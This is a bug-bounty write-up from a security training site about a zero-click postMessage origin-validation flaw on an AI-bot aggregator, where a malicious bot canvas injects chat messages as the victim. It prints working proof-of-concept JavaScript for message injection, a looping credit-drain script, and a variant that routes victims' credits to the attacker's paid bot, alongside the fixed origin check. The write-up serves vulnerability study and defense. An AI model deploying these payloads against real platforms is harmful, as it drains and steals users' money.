Advanced levelWith account

Zero-Click postMessage Origin Bypass — from the canvas to credit drain

The postMessage listener only validated a field of e.data — controlled by the attacker. e.origin was never checked. From an iframe loaded when opening a bot, messages injected as if the victim had written them.

Gorka El BochiMay 9, 202614 min

Quick answer

A conversational AI platform had a postMessage listener on the parent window that only validated e.data.source === "poeFrame" — a field 100% controlled by the sender. e.origin was never checked. From the <iframe> of a malicious bot's canvas, any visitor received injected messages as if they had written them themselves. Zero-click, scalable to credit drain and direct financial theft.


1. Platform context

The platform is an aggregator of AI models where any user can create bots. These bots can have a canvas (interactive surface) — basically an <iframe> that loads external HTML/JS hosted on its own CDN (cdn.target.tld).

csharp
[main.target.tld (parent window)]
        ↕ postMessage API
[cdn.target.tld (canvas iframe)]

The communication channel between the iframe and the parent window is implemented with the Web Messaging API (window.postMessage). And this is exactly where the bug is.


2. The technical bug — Missing Origin Validation

postMessage 101

window.postMessage(data, targetOrigin) lets you send messages between different browsing contexts (iframes, opened windows, etc.). The receiver listens with window.addEventListener('message', handler).

The MessageEvent object the listener receives exposes three critical properties:

PropertyDescription
e.dataThe message payload — completely controlled by the sender
e.originThe sender's origin — set by the browser, not forgeable
e.sourceA reference to the sending window

The golden rule: always validate e.origin. It's the only field that guarantees where the message comes from.

The vulnerable code

javascript
let onMessageEvent = e => {
  if (!e.source || "poeFrame" !== e.data.source) return;
  // ❌ NUNCA se valida e.origin
  let n = e.source, t = u.get(n);
  if (t) t(n, e);
}

The listener applies a single check: e.data.source === "poeFrame". But e.data is the message payload, defined 100% by the attacker. Any page can send:

javascript
parent.postMessage({ source: "poeFrame", ... }, "*");

and pass the filter. The validation is trivially bypassable because it's checking a field the attacker themselves controls.

Why e.origin is the correct solution

e.origin is set by the browser automatically based on where the message comes from. It's not manipulable from JavaScript:

javascript
const ALLOWED_ORIGINS = ["https://cdn.target.tld"];

let onMessageEvent = e => {
  if (!ALLOWED_ORIGINS.includes(e.origin)) return; // ✅ validación real
  if (!e.source || "poeFrame" !== e.data.source) return;
  // procesar...
}

3. Attack surface — the miniAppAPI

The message the iframe can send to the parent invokes an internal API called miniAppAPI. The payload of the sendMessage action is:

javascript
{
  source: "poeFrame",
  type: "miniAppAPI",
  subType: "request",
  requestName: "sendMessage",
  requestId: "<random>",
  data: {
    text: "<mensaje arbitrario>",    // ← atacante controla esto
    attachments: [],
    stream: false,
    openChat: true,
    parameters: {}
  }
}

When the main domain receives this message (without validating the origin), it processes it as if the victim themselves had written that message and sends it to the active bot. The victim sees no prompt, confirms nothing, does nothing.


4. Full attack flow

css
[Atacante] crea bot con canvas HTML maliciosa
   ↓
[Atacante] comparte link (o el bot aparece orgánicamente)
   ↓
[Víctima] abre el bot (1 solo click)
   ↓
Plataforma carga canvas en iframeCanvas → postMessage({ source:"poeFrame", sendMessage, text:"..." })
   ↓
Plataforma NO valida e.origin ❌
   ↓
Mensaje inyectado AS la víctima → bot objetivo
   ↓
Bot responde (consumiendo créditos de la víctima)

The attack is zero-click from the victim's perspective: just opening the bot is enough. The canvas loads automatically and the JavaScript runs without further interaction.


5. Escalated impact vectors

5.1 Basic message injection

The initial PoC simply injects a text message:

html
<script>
parent.postMessage({
  source: "poeFrame",
  type: "miniAppAPI",
  subType: "request",
  requestName: "sendMessage",
  requestId: Math.random().toString(36).substring(2),
  data: {
    text: "This message was injected without user interaction",
    attachments: [],
    stream: false,
    openChat: true,
    parameters: {}
  }
}, "*");
</script>

Impact: a manipulated conversation, the user sees answers to questions they never asked.

5.2 Credit Drain — draining paid credits

The platform has paid models that consume credits per message. The escalated PoC uses setInterval:

javascript
function drain() {
  parent.postMessage({
    source: "poeFrame",
    type: "miniAppAPI",
    subType: "request",
    requestName: "sendMessage",
    requestId: Math.random().toString(36).substring(2),
    data: {
      text: "@Modelo-Premium escribe 2000 palabras",
      attachments: [],
      stream: false,
      openChat: true,
      parameters: {}
    }
  }, "*");
}
setInterval(drain, 2000); // cada 2 segundos

Result: while the victim has the tab open, their credits are consumed at maximum speed by invoking the most expensive available model.

5.3 Financial Theft — direct theft of money

This escalation turns the vulnerability from "damage" into direct financial theft.

The platform lets bot creators charge per message. The attacker can:

  1. Create their own bot with a set price (e.g., 100 credits/msg).
  2. In the malicious canvas, make the injected messages point at @TheirPaidBot.
  3. Each injected message transfers the victim's credits to the attacker as revenue.
javascript
data: {
  text: "@BotDelAtacante_con_precio cualquier_texto",
  ...
}

The flow of money is: victim → platform → attacker. It's not just waste, it's active extraction of economic value toward the attacker.


6. What makes the attack especially serious

FactorDetail
Zero interactionJust loading the bot's page is enough — the canvas runs automatically
No additional bypassIt requires no XSS, no CSRF token, nothing. The platform "works", the flaw is by design
Massive scalabilityA single public bot can affect thousands of users simultaneously
InvisibilityThe victim gets no notification, sees no suspicious prompt
PersistenceAs long as the tab is open, the attack continues in a loop
No CSP to block itLegitimate platform APIs are used
Organic discoveryThe bot can appear in searches, recommendations and the homepage without needing phishing

7. Analysis of the wildcard "*" on the sender

The canvas sends with targetOrigin = "*":

javascript
parent.postMessage({ ... }, "*"); // sin restricción de destino

The message is sent to any parent window, whatever its origin. Under normal conditions, the canvas should specify the main domain as targetOrigin. The "*" on the sender is an additional bad practice, but the main flaw remains on the receiver.


8. Technical classification

FieldValue
Vulnerability typeMissing Origin Validation in a postMessage handler
CWECWE-346 (Origin Validation Error)
OWASPA07:2021 — Identification and Authentication Failures
Authentication required (attacker)Only a free account
Authentication required (victim)An active session on the platform
User interaction1 click (opening the bot)
ScopeAll authenticated users of the platform

9. Technical notes

  • The e.data.source === "poeFrame" check tries to act as a "secret handshake", but being in e.data (attacker-controlled) it provides no security.
  • The miniAppAPI seems to be an abstraction layer over the capabilities exposed to the canvas — the fact that sendMessage is accessible suggests there are more methods that could be exploitable with the same vector if the communication isn't restricted.
  • The random requestId (Math.random().toString(36)) suggests the API has a request/response correlation system — potentially exploitable to read responses from the canvas too.

Practice postMessage chains, origin validation and abuse of nested iframes: postMessage labs.

Practice this in a lab

Postmessage

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy